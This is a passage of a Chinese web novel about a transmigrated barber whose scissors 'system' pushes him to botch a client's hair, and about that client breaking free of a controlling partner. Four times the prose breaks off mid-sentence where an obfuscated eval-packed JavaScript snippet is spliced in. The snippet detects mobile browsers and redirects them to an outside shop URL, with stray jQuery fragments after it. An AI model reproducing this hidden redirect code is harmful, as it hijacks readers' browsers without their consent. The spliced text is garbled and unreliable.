他这烂透了的人生在这彻底结束也是不错的选择。他真是受够了。 他宛若游魂,在这无尽的金属牢笼中漂流着,剩下的是属于自己的灵魂,还是别的什么?他都已经分不清。脑海里只想着继续走下去,走下去,即使撞到南墙也不想回头。 哎呦—— 耳边的一声痛叫唤回了他离家出走的神志——他刚刚撞到人了吗?白明轩下意识低头道歉,“抱歉,都是我的错,如果我对你造成了伤害,我郑重道歉。如果需要具体赔偿,请找这里总裁吧。” 他不想管了,什么都不想管了。 可那个声音却并没有想要放过他,在他耳边响起,“哟,小帅哥,现在有钱了,你那抠门老公不抠门了,这倒是破天荒头一遭,新鲜呐。我早就说过了,钱在哪儿爱就在哪儿,连点钱都不愿意给你花,说什么喜欢呢。” 白明轩猛地抬头,面前那张脸分外清晰——是那天遇见的理发店老板,他们两个在厕所门口,这个老板又早就看见过他最不堪的一面,好像自己现在如何也无所谓了。他再也绷不住,失声痛哭起来。 “唉唉唉——怎么看见我就哭了,可不是我给你弄哭的。”甄信这次可真的急了,赶紧把人先弄到卫生间里,紧接着抓紧抽洗手台上的纸巾给白明轩按眼泪,“哥,哥,算我求求你了,别哭了,刚刚总不是我那一下把你撞疼了吧。” 要是让那个超雄老板知道,他是不是得马上被沉塘啊。虽然他一直抱怨穿书生活有点离谱,但美好新生活他真的没有过够,他还可以再拯救一下。 “哥,哥,真的,你要真遇到什么事了我帮你想主意,你别哭了行不行。”甄信头一次那么慌张,都不知道自己手脚该怎么摆了,实在没办法他直接被逼出一句话,“你总不能现在让我上去把那家伙一剪刀干废吧,违法乱纪的事我不干。” 哭声止住了。 不是,哥,你还真想我帮你干点游走在法律边缘的事啊,这是不是有点太危险了,虽然知道你被这段感情折磨地遍体鳞伤,但我们是不是还得稍微讲究一下基本法,杀敌一千自损八百,这是不是有点太亏了? 除此之外我们还有很多其他选择,实在没想好的话,他再帮忙参谋参谋?人生就不是不要轻易给自己下定义嘛。着急下结论肯定会后悔。 对,他就是想要给每个人足够选择权,让每个人都幸福。 白明轩深吸一口气,总算是缓了过来,“不,我只是忽然想到了你,想起你之前说的话,或许我没办法改变别人,我想改变一下自己。从以前到现在,我都留着中长发,很多人说过这个长度很适合我,让我看起来非常温柔,但是……” 但是我恨透了温柔这个词。 因为温柔,所以不忍责备,因为温柔,所以必须原谅。他过够温柔的日子,从现在开始,他也想要有点锋芒一点,哪怕只是一点点改变,也算是他对这个操蛋世界的反抗。 白明轩下定了决心,“老板,帮我剪个新发型吧,告别过去的那种。我想要从头开始,即使把我头发染成绿色也没关系。我只想要一个崭新的自己。” “我?帮你剪头发?”甄信愕然地张大嘴巴。 不是,哥,他滴亲哥叻,突如其来那么多信任真的好吗?他自己都不信自己的理发技术,现在就要强行上马直接帮别人理头发了? 他怕到时候这位白先生直接出门想要砍死他。 头一次切实感受到自己生命正在遭遇威胁。甄信试图挽回一下自己岌岌可危的生命,“那个,白先生,我想解释一下,我虽然是开的理发店,但是我理发技术一般,可能并不能满足您的要求,即使这样,您依旧接受吗?有言在先,我们店里头就算是真的把头发剪呲了也是不能对老板进行打击报复的。” “为什么要报复老板?”白明轩温柔地笑笑,“我一直觉得理发师也是一个很奇妙的职业,每次给客人理发都是一次心灵沟通的过程,我觉得这样的交流非常美妙。要是我也能从事类似这样有价值的职业就好了。” 哦豁,每句话都让人如鲠在喉,甄信自从里头感受到了自己德不配位的心虚。 他试图再拯救一次白明轩的头发,“那个,白先生,我记得我家那个理发店周围还有好几家,都是开了十几年,理发效果过硬的,不要去那边试试看?我还没开始试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299551|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营业呢。” 不是,前两天你家那超雄总裁过来把东西砸成什么样你还不知道吗?真的要这么快再踩雷一次? 白明轩坚定地摇摇头,“还是不要给其他人带来麻烦了。说起来也是我对不住您,自从那天之后,顾先生只相信你对我没有那方面的想法。所以,我实在不想再麻烦一次其他老板了。” 所以,你是想着就可劲折腾一家了吗?虽然但是……这件事合理吗?合理吗? 甄信张嘴就想拒绝,口袋里忽然传来异动,一把锋利的剪刀忽然抵住了他下半身,刀口在他身体上缓慢滑动着,意思相当明确。[老板,主线任务不可以拒绝,否则会引起不好的结果。] [我知道了,我就是找个合适地点而已,我们店铺不是还没装修好吗?] 店里没装修好但是有一块区域可以使用了,新的装备已经运到,就连需要的所有药水全都备齐,想要营业其实随时可以营业。 甄信硬生生挤出一个服务笑容来,“当然可以了。不过现在店里比较简陋,需要忍耐一下。” “没关系,只要能把头发剪了,无论什么地方我都可以。甚至可以说,如果老板你愿意把理发工具带到这里来,那位先生甚至会更加高兴呢。”白明轩也不想这样,他也觉得这样扭曲的自己分外讨厌,但他就是忍不住,忍不住从嘴里喷出各种恶意的话。 或许有一天,他自己真的也会面目全非吧。 甄信在心里偷偷朝漫天神佛求救——大家都知道我是那么虔诚,所以,求求不知道哪位保佑一下,让我不要因为头发这件小事被砍死在路上。 心里拼命这样念叨,但还是老老实实带着白明轩去自己理发店。他们俩一过公司大门,甄信就看见门口有个红灯在闪烁,无声的警报却压迫感十足。甄信想着缓和下气氛强行开个玩笑,“你说这里上班安保还真严密,不知道的还以为我们俩偷东西了呢。” “不关您的事,这个东西是对付我的。估计是顾先生知道我离开规定的地方了吧。” 哥!求求你不要一脸冷漠说这种震撼人心的大消息行不行,他这个小心脏实在是受不了这种刺激,很容易当场噶了的。甄信一个箭步直接从自己小电驴上跳下来,拿出手机给白明轩扫了一辆共享电驴,恭恭敬敬把他请上去,“对了,白先生,我忘记了,交通法规定了,电瓶车不能载人,我一不小心就犯大错误了,还得麻烦您自己亲自骑到我店里去。” 从顾氏集团总部骑到他那小破店铺整整十公里,小电驴在马路上风驰电掣半小时,后头还有三四辆奔驰黑车沉默跟随,这也算是路上一景了。 店铺里头空调和基本设备都已经装好了,就等着他们过来使用。 剪刀一把不少,染发剂也是琳琅满目,但甄信心里就是止不住地虚得慌——昨天给罗荣就完全剪呲了,他那时候聪明机灵,拿光头这玩意儿给糊弄过去了。但是白明轩怎么办,给这个经典清纯小百花也来个光头造型,这不是纯纯作贱人嘛。他良心怎么过意得去? 不要谎,甄信,之前大风大浪都过来了,不过就是剪坏一个头,能有什么大不了的,不要谎。一切都是小意思。 不对,一般理发店最开始那个出场白是什么?是不是都得问顾客自己想要什么发型? 对对对,好像就是这样。万一剪坏了,就说都是顾客自己表述不清楚,稳住,甄信,你甩锅不是一向是个好手吗? 他深吸一口气,总算开口,“白先生,你想要一个什么发型呢?” 7. 唯一的爱情(7) 白明轩看着窗外悠荡的树叶,仿佛看到了自己的命运。既然自己已经和外头这些东西一样身不由己,至少,至少让他决定一件事吧。 他闭上眼睛,大声喊出自己的希冀,“就让我从头开始焕然一新吧,我想要短发,那种干脆利落,充满男子汉气概的短发!” 哦豁—— 有没有想过一个问题,所谓男子汉气概和头发长短并没有关系。古代大将军别人不也是到膝的长发,还穿长长的外裳不是。这玩意儿说到底,还是得看人。 白明轩从先天来说,好像确实在这方面略微缺少一点。平常包子习惯了的人,现在换个发型也只是变成了短发包子,实质上并没有发生任何改变不是。希望每个人都能把这个标准牢牢记住,不要一有什么问题就怨天怨地,多从自己身上找找原因。 当然,对于自己最可爱的顾客他肯定是不能这么说的,多残酷啊。 甄信试图从别的角度打消他不靠谱的想法,“那个,白先生,你要仔细考虑一下吗?头发留到这个长度很不容易的,要是剪成寸头,很难再恢复到原来的长度,要不再想想。” 最好放弃这个危险的想法,什么都不做,好端端地从他这个地方出去。 要不放弃吧。甄信拿着剪刀怎么都下不去手,他到底是为什么待在这儿呢?你说人活着是为了什么,就是为着起起落落,真的是每分每秒都看不到丝毫希望。 你想要从头到尾换个造型其实可以发挥钞能力,让那些造型师全部来家里头为你服务,实在没必要把希望放在他身上是不,他个人觉得,对他们双方来说都不算是一个好选择。 要不干脆算了? 就算他磨洋工好像也不会怎么样,人生最难得的就是要学会放下,放过别人也放过自己。只要商量一下没有什么不可以商量是不是。 我们还有很多方法可以解决目前困境,没必要非得用现在这个半毁容式的法子是不是。 甄信刚想把剪刀放下,口袋里那玩意儿也开始不听使唤起来。[警告,主线任务不能拒绝,警告,主线任务不能拒绝。] 动动剪刀全都是主线任务了,一开始不是说这玩意儿开放性极高,只要他能把恋爱脑的事情搞定,不干涉具体过程呢。合着全都是骗他的啊,先把狗骗进来再说,行还是你们行,就他一个是彻头彻尾弱势群体。 看他不反应,口袋里剪刀又开始蠢蠢欲动——这是威胁上·瘾了,还没有天理了。 不是,大哥,他用那破剪刀本体不行,用店里新的剪刀套装也不行。合着这些全都是那死剪刀给自己准备的分身。有本事它自己上场剪头,为难他一个文科生干什么,他也就平时能写写酸文,抨击一下周围不平之事。 别的那是真的一点都干不了。 等的时间稍微有点久,白明轩实在忍不住催促,“老板,我知道做造型需要思考,但这样的停顿久到让我有点担心,你就不怕我反悔吗?好了,快点开始吧,我还想要给自己染个发,听说最近茶色挺受欢迎,我要是也染一个差不多的颜色会不会感觉好一点呢。” 或许就和他们说的一样,会开启一个新的人生? 染发不确定,那让他直接吓跑这家伙,甄信马上找到一个劝退完美理由,“所有好看的发色都要漂头发的,发质损伤比较大,要不就算了?” 但谁想到这句话说出口倒是刚好激起了某些人的好胜心。白明轩没有丝毫犹豫,立刻回答,“就要这个颜色,现在就漂头发。无论你弄成什么样子我都不会怪你的,这些都是我的选择。” 这是赶鸭子上架。 甄信苦着一张脸只能努力干活,口袋里头一个不要脸的玩意儿在威胁,面前这个客人又听不进任何话,还不是得他一个人承担下所有。 往好了想,万一搞砸了,法治社会也不至于因为头发威胁生命是不是。 甄信定定神,先掏出手机千度一下,按一下搜索键总能发现他想要的关键信息,比如——如何漂头发。很好,很快就出现了: 漂发需要准备的工具和材料包括:漂粉、双氧水(或漂发剂)、手套、护发产品(如护发素、结构还原剂等)、搅拌碗和搅拌棒、梳子或漂发刷、毛巾或围裙等防护用品。 很好,这些玩意儿店里头找找都还有。那时候顾神经赔偿的东西还算是全面,说是全套一样都没落下。对了,手套可得多戴几层。这些药水多多少少都有点副作用,他以后还得幸福生活的,怎么都得把自己包严实了。 接下来是将头发分区,便于操作。准备好漂粉和双氧水(或漂发剂),按照说明书或专业建议的比例混合搅拌均匀。然后,均匀涂抹,保证每根头发丝都涂抹均匀。 很好,完美。 万万没想到,甄信你竟然是个天才,第一次上手就直接成功了。平时果然还是限制了你的发挥,你的未来就在星辰大海。 稳住,就这样继续下去,你肯定没问题的。白明轩也分外信任他,索性闭目养神,彻底把自己一头秀发交给了甄信全权负责。染发剂把他的头发变了个样子,甄信把他的头发包起来,等待时间作用下把头发彻底变个样子。 等等,漂发剂到底是多久来着,这说明书上没写啊。一般来说都是二十到三十分钟吧,不管了,大不了到时候上不了色再来一次。 只要他道歉地够快,这些问题就都追不上他。 甄信努力装着老道的样子,隔两分钟就看店里的时钟,好不容易挨到了半个点,他赶紧过去把白明轩头上的毛巾拆下来——看着好像也没什么问题。 他带着白明轩移步洗头区,温水直接把头上多余的药剂冲掉,露出底下已经被漂白的头发,看着好像还真像那么回事。 这是——成功了? 甄信的动作又温柔了几分,生怕自己一不小心把白明轩头发拽下来。还好还好,他头发长得好像还挺牢固的,一时半会儿下不来。 接下来——是不是该上染发剂了。按照刚刚看的教程来说,颜色也是这个颜色,就是看上色的时间,时间久一点就颜色深,时间短就颜色浅。不过就是烘几分钟,这估计不会出什么大事吧。 之前看那些店里也是这么搞的,他就是照葫芦画瓢,就是出问题也出不到哪儿去。想到这,甄信就大胆了几分,火速调了颜色就往头上抹。 他设想地挺好,再来个十五分钟,一切搞定,最后再剪个碎发。这不就是一切尽在掌握,小意思,小意思。 但人生有意思就在不可能没有半点意外。 正当甄信满怀信心地取下白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299552|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明轩头上那仪器时候,整个人顿时愣在了原地。要是他这里家伙事齐全,白明轩自己也就看见了。可偏偏,他现在面前什么都没有,只能任着甄信瞎掰。 但是他再掰也不可能逆转乾坤啊。 他直接把白明轩整头染成荧光绿的了! 不对啊,这颜色他是在系统指导下调的,难道是——现在得好好对账了。[系统,给老子滚出来,这颜色不是你让我调的吗?现在这是怎么回事!] 啊,这—— 系统也找不出好办法,徒劳地翻着自己指导用书,[那个,教程里面不是这样说的,让我再查查。] [现查的?所以你一个剪刀也不会剪头,那你还来指导我?]真是绝了,新手系统指导系统,这玩意儿一听就很刑。 现在怎么办?他还能把别人绿头发重新弄回来不成。不对,还有个办法,直接给染回黑的。黑色能够遮盖所有不应该出现的颜色,简直是万能法宝。 不要慌,你现在还有挽救的机会。 甄信心里头是这么想的,但情理之中,他是不是得和白明轩仔细说清楚到底发生了什么。他定定神,还是把真实情况告诉了他,“那个,白先生,我刚刚,好像,把你的头发搞砸了。” 咔嚓—— 他拍了一张白明轩现在的的样子递了过去,“就是这样。” 鲜艳的绿色在他头顶张牙舞爪,倒是显露出他以前从未有过的模样,这样的自己实在是新鲜。白明轩忽然笑了起来,“这个颜色和我还挺搭的,显皮肤白。” 是挺显白的,晚上还能冒幽幽绿光呢。 刚刚那死系统总算愿意说句真话,他加的那染发剂里面竟然还有荧光粉,这玩意不但是个绿的,还能晚上发光。这是真绝啊。 他都怕自己当场被人套麻袋敲死了。 不过,现在看着白明轩神志好像还清醒,不是打击太大开始说胡话了吧,造孽啊。他干嘛非得给自己揽这么一活呢,老老实实在寝室吹空调不香吗? 他还想再说几句话,挽回一下自己濒临灭绝的形象。店铺大门被人恶狠狠推开,某位从外头冲了进来,“明轩,我说过我愿意给你自由,但我给你的自由是不是过了火,你连中午都不愿意回来,是在外面找到了自由新天地吗?” 顾浩宸刚一进门就遭到绿头当头棒喝,这颜色简直堪比精神污染,他知道面前的背影属于他深爱的明轩,可这眼睛还是控制不住地朝其他方向偏移。 “明轩,你这是——” 白明轩彻底接受了自己的新造型,甚至还带着十足的兴奋,“怎么了,你不喜欢吗?这是我特意挑的绿色,很有夏天清凉感吧。” 第一次,他主动拥抱了顾浩宸,带着染发剂强烈的化学品味。 “嗯,很好。”顾浩宸愣愣地接过自己的珍宝,鼻尖传来的是源源不断的染发剂臭味,他试图轻抚怀里宝贝的秀发,可他刚刚把手放上去——那抹绿色就直接掉了下来,露出了绿油油的头皮。 他把明轩一大撮头发薅下来了! 甄信默默捂住脸,不忍直视,在心里疯狂和系统对骂,[你看看,都是你的好主意,染发时间太多了,直接把他头发弄脆了,头发的伤害是不可逆的!] [我说你就听吗?] 8. 唯一的爱情(8) 什么玩意儿?现在这死系统是在甩锅吗?那时候是谁那么信誓旦旦,让自己一定要相信他的,现在又开始变卦了? 他是不是从没尝过什么叫正义的铁拳?他要是那么爱推卸责任,要不他们现在就拆伙,[你要是对我那么不满意,那我现在就去死一死,一拍两散,我也不耽误你,怎么样。] 现在这小年轻怎么这样呢,一言不合直接就要散伙。 系统迅速端正态度,[不不不,是我的问题,这次是我没有考虑好,我错了。]离开了这个宿主,他去哪儿再找一个冤大头,不,是这种完美的合作对象。完不成相应任务,也会影响到它的年终考核。 要是还按前辈说的哄骗方法肯定是不行的。之前大家都说,很多宿主很好骗的,你只要发布一下任务就能躺赢,怎么到自己身上这些就行不通了。宿主又不积极做任务,也不想学习,还能找到他做的有问题的地方,到底哪儿出问题了?难道是因为它没有奖励系统吗? 撮合正缘这件事本来就功在千秋,他又很多功德的,为什么人类要在乎这些外物呢? 要是甄信能听见这玩意儿絮叨,肯定要喷死他。你清高,你了不起。你一把剪刀不用吃不用喝,他难道还得为了你这破任务喝西北风去吧。 这年头,政府部门里头这无私奉献论都不流行了,你还在这儿炒冷饭,被甩脸色不是很正常的吗? 见甄信就站着不说话,系统还是怂了,打算再动员一下,[老板,我们做事不能只看眼前利益,要往长久了看,我们斩孽缘,修正果,是功德无量的。] [你不要给我说来世,怎么着,人生还能快进,我这辈子不过了直接跳到下一世?要不这样,我们也省省心,你也别找今世的我,直接找我转世怎么样,说不准我喝碗孟婆汤,性格也能变一变。] [但我们已经绑定了。] [绑定了可以解绑的嘛。我放你自由,从此我们一拍两散。] 这话怎么接,一下子天就聊死了。也没人告诉他,把自己宿主惹毛了到底要怎么挽回岌岌可危的关系。一般来说,他们不都是把系统好好地供起来吗? 既然系统的经验不行,换成人类的?人类做错事情的时候一般会说什么?系统期期艾艾半天,总算憋出几个字,[对……对不起,这次是我没查清楚资料。] [原来小刀竟然还会说人话啊。知错能改就是好孩子。] 虽然还不确定甄信心里到底是怎么想的,刚刚那话怎么听着都不太像好话,这难道就是前辈们说的属于人类的阴阳怪气吗?它要怎么回,可恶,好像没办法反驳。现在最好的办法就是——转移话题。 [看,窗外有什么。] 甄信脑袋都没歪一下,心里却大声嘲笑它,[你出厂的时候确定没问题吗?要不要回去检修一下。]不然他都怕这小系统破防,试图做出点什么石破天惊的事让他见见世面。 好怕怕哦。 哐当——店里工具架翻倒在地,花花绿绿各种颜料染了一片。干得真漂亮! 干脆给他这店铺地板换个色,也算是齐活儿了。 顾浩宸紧紧拽着白明轩的手,恨不得把自己的心挖出来给他看一看,“明轩,你的头发都这样了,你还要为这个家伙说话,他到底给你下了什么迷魂汤?” 他深吸一口气,眼里是掩不住的痛心疾首,“即使你不愿意和我在一起也没必要这么折腾自己吧。你自己的头发都不愿意顾惜吗?” 这话说的,他是历史的罪人?虽然这头发弄成这种样子确实是他的原因,但他还有真诚的道歉不是。出门在外,互相体谅——更何况,他强调过了的,他理发技术真的不怎么样。 甄信默默播放之前他和白明轩对话,“白先生,您真的确定要这么弄吗?我技术真的不行,要不您换家店?” “没事,无论你弄成什么样都行。” 这段话,在此时,于顾浩宸而言,和挑衅没有任何区别,他立刻暴怒,“如果这些都由顾客决定,要你们理发师干什么!我命令你立刻,马上,把明轩头发恢复成原样!” 和谁你俩呢,甄信看着这小子真的浑身上下都不顺眼,同样都是这样的话,别人来说就是人模狗样,中听得很,这小子颐指气使的态度,就算他理亏都想和他掰掰手腕。虽然,这次是他理亏,但他怎么就不能好好说话呢。 这念头一冒出来,甄信陡然一惊,从什么时候开始,他竟然也这么傲慢,习惯用这样的态度面对他人。虽然你穿书了,这里头也都是活生生的人,他凭什么用这种态度面对别人。 甄信平复一下心情,试图挽回一点,“这头发实在是弄不了,要不我给你免费染回黑色吧,再送你一顶假发,先把今天对付过去,后头再有什么事情,我们接下来慢慢商量。” 他想着自己这样也算是考虑周全,应该没什么疏漏。把白明轩头发弄成这样,他也清楚自己得负责,就算是他狮子大开口也是自己活该。 顾浩宸张了张嘴,一句话脱口而出,“你赔得起吗?你连明轩一根头发丝都不值……” 真是够了。 不是,这家伙没毛病吗?他真的不能拍这家伙俩板砖吗?他和这家伙就是八字犯冲,他就应该先把这家伙送上西天,他再去自首。 白明轩挡在他们两个中间,神情头一次那么坚定,“不行。顾先生,这是我和甄老板说好的,结果应该我自己承担。” 顾浩宸把他往后一甩,直接代表了他的意见,“明轩,你就是心肠太软,才会让这些家伙都爬到你头上。这些小事,就等折我帮你解决……” “所有都是小事,什么才是大事!”白明轩反问,双眸里迸射着火苗,仿佛他不屈的灵魂终于开始大放异彩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299553|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我和谁聊天你决定,我做什么你干预,大到我的职业未来梦想,小到我房间摆设,你什么都不满意,什么都要干涉,就是头发而已,我就喜欢它断了,喜欢自己变秃,喜欢自己这个样子。我是个人,不是你捏在手心的木偶娃娃。” 这突然的爆发顿时把在场两人都震慑住了,小白花秒变霸王龙,大家都得仔细听他讲话。 碧绿的发丝在头顶飘扬,白明轩却越来越清醒,他到底为什么会被这样一个人PUA了那么久。他一边说着爱他,一边把他从上到下都否定个遍。 他奋力一挥,直接扯下头上一大把,“它掉了又怎么样,我宁愿当个秃子,因为我的头发是自由的,它不用被人控制着长成什么样。” 顾浩宸愣在原地,只能旁敲侧击劝着,“明轩,你有什么不满和我说,不要发泄在自己头发上。头发留长不容易的,我只是不想你后悔。” “我后悔什么,后悔你强迫我留的长发?这些不过是你强加给我的枷锁而已。”白明轩忽然抄起桌上的电推子在自己头顶比划,“不,我还是不够清醒,这些不能代表我的东西就应该通通消失!” 电推子滋啦几声,在白明轩头顶耕出几道长短不一的丘壑。 插句题外话,甄信的技术多少也能把这丘陵变成平原,至少看着平整些。但他倒是觉得,现在的白明轩并不需要他的这个帮助。 顾浩宸一脸痛心疾首,“明轩,这家店到底有什么魔力,竟让你变成了现在这样,以前的你不是这样的?” “以前的我怎样?被你束缚着,眼里只有你,只能在你圈定的范围里摇尾乞怜吗?所谓的唯一真是让我恶心,怎么,我的世界只能剩下你一个吗?那这世界也没什么意思。” 他从没感觉那么好过,从这一刻开始,他才是为自己而活。现在再看面前这男人,他到底有什么可怕的,不过就是一个公司老板,只要他换一个地方生活,难道他还能毁掉他拥有的一切吗? 还有他的爱,也让人恶心。 白明轩反手拉着顾浩宸,强迫他看自己头顶的绿油油,刺鼻的化学药水熏得顾浩宸头昏脑涨,“你不是大言不惭说爱我的一切吗?现在,亲吻我的发顶,要是做不到,你的爱也就这样。” 顾浩宸知道自己应该接纳白明轩的一切,以往他也是一样的,可……可面前是坑坑洼洼的头皮,绿到刺眼的发茬,刺鼻的药水味。他僵在原地,竟然不能挪动半步。 不是他的爱变了,是…… “呵,你的所谓爱,也就这样。太廉价了。”白明轩一把推开他,转身潇洒离开,“顾浩宸,到头来,你也不过是个只看重皮囊的贱种,少在我面前炫耀你那三瓜两枣的错觉。你这个可怜虫。” “不,不是这样的,明轩,你听我解释……”顾浩宸如梦初醒,赶紧追了上去,他绝对不能失去明轩,绝对! 9. 唯一的爱情(9) 可前头那身影却如幻梦一般,试图抓得越紧却流逝于手中。 想到自己心心念念的人马上就要离自己远去,顾浩宸从来没有那么慌张过,生怕自己慢一步,白明轩就会彻底消失在人群中,平时那么冷静的一个人,出门时候甚至在门槛上绊了一跤,他没来得及做任何事,连滚带爬起来,只恨自己这两条腿不能倒腾地更快一点。 甄信还在后头喊他,“顾老板,赔偿呢,不用我给啦。明天再过来我可不认账了。” 你说人家这大老板,格局就是和他们这些人不一样哈,一点点小钱根本不放在眼里,什么都是洒洒水啦。要不怎么说,这人活得好不如投胎呢。 他要是也拿个这种剧本,说不准他也能跟着弄出一番大事业。从这个角度来看,好像做一个总裁难度也没那么高嘛。你看看人家顾总,天天追着一个小帅哥到处跑,这不是家里公司也没倒闭。 要他能有顾总那么有钱,直接把产业交给职业经理人,自己一个人出去风花雪月,尽情地享受人生,为什么要留在这种地方等着当牛做马啊。他努力到现在不就是为了享受生活,能够早点退休。为什么这些一出生就在罗马的人反而那么喜欢工作,真是不理解。 不,也许是他想错了。他们这些牛马的动作,和挥鞭子人的工作是不一样的。 他是一睁眼就被人支使着干活,别人是能随意支配别人的命运。想想都让人感觉兴奋呢。另一个人的心跳,呼吸,命运……全都被你牢牢抓在手心,在这一刻,或许你和上帝也没什么区别。 不,比主宰的神明更好,你能看到这些卑微的生命在你脚下苦苦挣扎,向你摇尾乞怜,这样的成就感是任何东西都无法比拟的。 他们的人生从一开始,就和他们这些人的选择截然不同。 真的是让人嫉妒地讨厌呐。 [你在想一些很不好的东西。你不能违反禁令,一旦你利用系统提供工作对任何人生命造成损伤,你会遭到严厉惩罚的。甄老板,你要为了一时的邪念葬送自己整个人生吗?] [不用紧张,小剪刀,我只是想到了一些可能性而已。每个人心底都藏着一个恶魔,小剪刀,你还是太嫩了。]不知道这个世界的本质。 他依旧愿意接纳它,是因为这把剪刀给他带来了许多机会,或者说是目标客户。100%的利润能让人疯狂,他现在就是如此——有利可图的事情,他肯定会长长久久地继续下去。 事情开始有意思起来了。 甄信有预感,不久之后,他还会和那位可爱的白先生见面的,那一天并不算太遥远,他无比期待着。 [老板,你要想清楚,你的机会只有一次,即使你重生在这个世界,你的生命依然只有一次。]甄信来到这个平行时空是一个意外,在这基础上,天道对他做出了一点补偿,给他增加了一点点运气,这也是它选择甄信的原因之一。但这点优待微乎其微,甚至会随着他的恶念逐渐消退。 按照现在的话来说,相当于一个好人增益buff。它确实是头一次当系统,它实在不想看到自己的主人就这样把自己彻底玩完。 第一次总归是不同的。 白明轩从来没觉得自己那么好过,他几乎是发狂般把自己头发扯了个干净,光秃秃的头皮上残留着一点绿色的发根,在路灯底下闪着光,每分每秒,自由的空气扑面而来。 他头一次发现,世界原来是这样的,并不是总是带着压抑与控制,而是……为所欲为,他可以改变这个世界!他比任何时候都要确信这一点。 他忽然想到了什么,从口袋里拿出个贴纸,往身上一贴一撕,干净白皙的手臂立刻变成了色彩繁复的花臂,左青龙右白虎,这些在别人眼中看起来怪异的图案却让他觉得莫名安心。原来,把这些图案弄到手臂上并不会发生什么,他并没有变成所谓的坏孩子。 一切都没改变。 他试着往自己嘴唇上夹了两个唇环,耳钉。铃叮当当的装饰品在他身上摇晃着,耳夹紧紧吸着他的耳垂,有点痛,但感觉不坏。 白明轩看着手机镜头里自己的新造型,心里有种莫名的感受——你看,难道自己一定要是别人眼中的模样。他父母觉得自己就应该是乖巧听话的,顾浩宸觉得自己就应该活在他的阴影之下,应该被他支配。 这操·蛋的规矩TMD是被哪个家伙规定的。他个子矮点,体型瘦小点就应该雌·伏在顾浩宸身下吗?凭什么。 凭什么那些家伙如此理所当然地决定他的人生! “明轩,我错了,虽然我不知道我到底错在哪儿,但是你不高兴肯定是我的错。千错万错都是我的错,只要你消气,让我做什么都可以。但是,我请你不要伤害自己好不好,看到你现在这个样子,我的心痛到无法言喻。我的明轩,你为什么要这样糟践自己?” “为什么?”白明轩看着自己面前这个男人,只觉得恶心,自己到底为什么和他纠缠了那么久,“为什么我就应该被你束缚着,为什么我就是喜欢你而已,却要被你支使着去做这些?为什么你理所应当地以为,我就应该依附着你,应该把一切都交给你。世界上没有这个道理,顾浩宸。” “是,都是我错了,我不应该锁着你。”顾浩宸不知道自己到底应该怎么说,这一刻,他只恨自己笨嘴笨舌,竟然说不出一句安慰的话,眼前的白明轩熟悉又陌生。他浑身上下依旧是自己爱的模样,可他偏偏又把自己彻底摧残了。头上再也没有了温柔卷发,只剩下一茬薄薄的绿发,贴着头皮,让他整个人肃杀了几分。 手上不知道什么时候弄了花臂,就连他最爱的,柔软的,甜蜜的嘴唇,上头也被金属装上了坚硬的铠甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299554|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一如他现在对自己的态度。 毫不留情。 “明轩,如果你要恨我,就让我带你回去之后再恨我吧。”顾浩宸下定决心,想要把白明轩抗在肩上直接带回家。这一招,他屡试不爽。 他比白明轩高了将近十公分,只要略微一弯腰,就能相当轻易地把他扛在肩头。这次也是这样,顾浩宸一弯腰,直接把对方扛起来。白明轩在他肩上借力,身体一扭转,硬生生把自己拽了回来,脚一落地,他右手手肘狠狠一击,直接击在顾浩宸下巴上,打得他头晕目眩。 还不等顾浩宸反应过来,又一下重击打在了他胃上。顾浩宸瞬间失去行动能力,只能弯着腰试图缓解疼痛。 白明轩并不像给他任何喘息之机,直接把他手往后一扭,从口袋里掏出个扎带把他两只手在背后紧紧扎在一起——现在,就算他想要反抗也是毫无办法,只能成为一只待宰羔羊。 甄信在店里头翻箱倒柜,他总觉得自己拿来整理的扎带数量不对,好像少了好几个,但他还以为是自己不小心掉在了哪儿,和那小剪刀复盘,[小刀,你调监控看看,看我刚刚把剩下扎带放哪儿了。] [我是系统,是智慧生命系统,不是你的智能语音AI,我过来不是帮你干这些活儿的。] 